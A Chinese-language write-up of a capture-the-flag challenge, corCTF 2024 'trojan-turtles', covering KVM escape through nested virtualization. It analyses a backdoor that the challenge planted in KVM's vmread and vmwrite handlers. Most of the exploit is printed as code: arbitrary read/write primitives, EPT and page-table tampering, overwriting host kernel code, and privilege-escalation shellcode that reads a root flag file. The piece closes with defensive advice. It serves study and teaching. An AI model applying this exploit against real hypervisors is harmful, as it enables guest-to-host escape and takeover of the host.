KVM逃逸-嵌套虚拟化-corCTF 2024-trojan-turtles 复现
字数 1769 2025-08-20 18:18:17
KVM逃逸与嵌套虚拟化漏洞利用技术详解
1. KVM基础概念
1.1 KVM概述
KVM(Kernel-based Virtual Machine)是一种基于Linux内核的虚拟化技术,允许Linux内核充当虚拟机监控器(VMM)或hypervisor。KVM的主要目的是提供一个统一接口,使用户空间程序能够利用硬件虚拟化特性(如Intel的VMX和AMD的SVM)来创建和管理虚拟机。
1.2 KVM实现机制
KVM通过/dev/kvm字符设备驱动程序实现,提供了一系列ioctl命令用于管理和控制虚拟机状态和行为:
- KVM_SET_REGS:设置虚拟机寄存器状态
- KVM API文档:详细说明可用ioctl命令和参数结构
1.3 KVM编译选项
- 编译到内核中:
CONFIG_KVM_INTEL=y - 编译为内核模块:
CONFIG_KVM_INTEL=m
1.4 QEMU与KVM结合
- 使用KVM:
--enable-kvm参数启动QEMU,利用硬件虚拟化特性 - 不使用KVM:纯软件模拟,性能较低
2. 嵌套虚拟化技术
2.1 VMX指令集
Intel处理器有一组特殊指令专门用于虚拟化,称为VMX(Virtual Machine Extensions)指令:
- 包括VMXON、VMXOFF、VMLAUNCH、VMRESUME、VMREAD、VMWRITE等
- 启用VMXE位后处理器才能识别和执行这些指令
2.2 嵌套虚拟化层级
- L0:主机VMM (Hypervisor)
- L1:第一层虚拟机,运行自己的VMM
- L2:第二层虚拟机(可选)
2.3 L1执行VMX指令流程
- 指令拦截:L1尝试执行VMX指令
- VM Exit到L0:控制权转移到L0 VMM
- L0 VMM分析:确定VMX指令导致的退出
- 模拟执行:L0模拟指令效果
- 虚拟VMCS操作:操作分配给L1的虚拟VMCS
- 状态更新:更新L1的虚拟状态
- VM Entry回到L1
2.4 L1创建L2的特殊情况
- L1执行VMLAUNCH/VMRESUME
- L0拦截并模拟,创建用于L2的新虚拟VMCS
- 实际VM Entry进入L2
3. 漏洞分析
3.1 漏洞位置
在handle_vmread和handle_vmwrite函数中存在漏洞:
// handle_vmwrite漏洞代码
if (kvm_get_dr(a1, 0LL) == 0x1337BABE) {
dr = kvm_get_dr(a1, 1LL);
*(_QWORD *)(v7 + 8 * dr) = kvm_get_dr(a1, 2LL);
}
// handle_vmread漏洞代码
if (kvm_get_dr(a1, 0LL) == 0x1337BABE) {
dr = kvm_get_dr(a1, 1LL);
kvm_set_dr(a1, 2LL, *(_QWORD *)(v6 + 8 * dr));
}
3.2 漏洞原理
当kvm_get_dr(a1, 0LL)返回0x1337BABE时:
handle_vmwrite:将db[2]写入struct vmcs12 + 8*db[1]handle_vmread:将struct vmcs12 + 8*db[1]读入db[2]
这导致可以相对struct vmcs12 *的任意地址读写,而vmcs12指向虚拟机分配的VMCS在主机上的地址。
4. 漏洞利用步骤
4.1 VMX初始化准备
- 分配并初始化VMXON Region和VMCS Region:
vmxon_page = kmalloc(4096, GFP_KERNEL);
memset(vmxon_page, 0, 4096);
vmcs_page = kmalloc(4096, GFP_KERNEL);
memset(vmcs_page, 0, 4096);
- 设置vmxon_page和vmcs_page开头信息:
asm volatile("rdmsr" : "=a"(a), "=d"(d) : "c"(MSR_IA32_VMX_BASIC));
uint64_t vmcs_revision = a | ((uint64_t)d << 32);
*(uint64_t*)(vmxon_page) = vmcs_revision;
*(uint64_t*)(vmcs_page) = vmcs_revision;
- 启动VMX模式:
asm volatile("movq %cr4, %rax\n\t"
"bts $13, %rax\n\t"
"movq %rax, %cr4");
- 执行vmxon和vmptrld指令:
asm volatile("vmxon %[pa]\n\t" "setna %[ret]"
: [ret] "=rm"(vmxonret)
: [pa] "m"(vmxon_page_pa)
: "cc", "memory");
4.2 实现任意地址读写
- 任意读实现:
static size_t read_relative(size_t offset_to_nest_vmcs) {
size_t value;
size_t magic = 0x1337BABE;
asm("movq %0, %%db0" :: "r"(magic));
asm("movq %0, %%db1" :: "r"(offset_to_nest_vmcs));
asm volatile("vmread %1, %0\n\t" : "=r"(vmcs_field_value) : "r"(vmcs_field));
asm("movq %%db2, %0" : "=r"(value));
return value;
}
- 任意写实现:
static void write_relative(size_t offset_to_nest_vmcs, size_t value) {
size_t magic = 0x1337BABE;
asm("movq %0, %%db0" :: "r"(magic));
asm("movq %0, %%db1" :: "r"(offset_to_nest_vmcs));
asm("movq %0, %%db2" :: "r"(value));
asm volatile("vmwrite %1, %0\n\t" : "=r"(vmcs_field_value) : "r"(vmcs_field));
}
4.3 寻找虚拟机VMCS偏移
通过扫描内存查找guest_idtr_base字段(偏移0x208处):
for (i = 0; i < 0x4000; i++) {
pos_offset = ((i * 0x1000) + 0x208) / 8;
pos_val = read_relative(pos_offset);
if (pos_val == 0xfffffe0000000000) {
found_offset = pos_offset;
break;
}
}
4.4 寻找nested_vmx结构
扫描内存查找包含已知VMXON区域和VMCS物理地址的位置:
for (i = 1; i < (0x4000 * 0x200); i += 2) {
pos_offset = i;
if (read_relative(pos_offset)== vmcs_page_pa &&
read_relative(pos_offset-2) == vmxon_page_pa) {
found_offset = pos_offset;
break;
}
}
4.5 获取EPT表
- 从虚拟机VMCS获取EPTP:
eptp_value = read_relative(l1_vmcs_offset -50);
ept_addr = physbase + (eptp_value & ~0xfffull);
- 修改EPT表项:
write_relative(third_offset + 6, 0x87);
4.6 修改虚拟机页表
- 获取CR3寄存器值:
cr3 = read_cr3();
- 修改页表项:
four = (cr3 & ~0xfffull) + page_offset_base;
third_page = kzalloc(0x1000, GFP_KERNEL);
third = virt_to_phys(third_page);
four[272] = third | 0x7;
third[0] = 0x180000000 | 0x87;
4.7 覆盖关键函数
- 查找handle_vmread函数:
for (i = 0; i < (1 << 18); i += 0x1000) {
val = *((unsigned long long*)(0xffff880000000503 + i));
if (val == 0x1C70BF440F4C) {
handle_vmread_page = 0xffff880000000000 + i;
break;
}
}
- 覆盖函数代码:
memset(handle_vmread, 0x90, 0x281);
handle_vmread[0x286] = 0xc3;
memcpy(handle_vmread, shellcode, sizeof(shellcode)-1);
5. Shellcode设计
push rax
push rbx
; 保存寄存器状态
; 获取kaslr基址
mov rax, 0xfffffe0000000004
mov rax, [rax]
sub rax, 0x1008e00
mov r12, rax
; 调用commit_creds(init_cred)
mov r13, r12
add r13, 0xbdad0
mov r14, r12
add r14, 0x1a52ca0
mov rdi, r14
call r13
; 调用filp_open打开文件
mov r11, r12
add r11, 0x292420
mov rax, 0x7478742e6761 ; "ag.txt"
push rax
mov rax, 0x6c662f746f6f722f ; "/root/fl"
push rax
mov rdi, rsp
mov rsi, 0
call r11
; 调用kernel_read读取文件
mov r11, r12
add r11, 0x294c70
mov r9, r12
add r9, 0x18ab000
mov rdi, r10
mov rsi, r9
mov rdx, 0x100
mov rcx, 0
call r11
pop rax
pop rax
; 恢复寄存器状态
6. 总结与防御
6.1 漏洞利用总结
- 通过VMX指令触发漏洞实现任意地址读写
- 利用内存扫描定位关键数据结构
- 修改EPT和页表实现内存映射
- 覆盖关键函数执行shellcode
6.2 防御建议
- 加强VMX指令的权限检查
- 对DR寄存器的使用进行严格验证
- 实施更严格的嵌套虚拟化隔离机制
- 定期更新KVM和内核版本
6.3 关键点回顾
- 漏洞根源在于DR寄存器检查不严
- 利用相对地址读写突破隔离
- 通过修改内存映射实现逃逸
- Shellcode需要精心设计以避免破坏虚拟机状态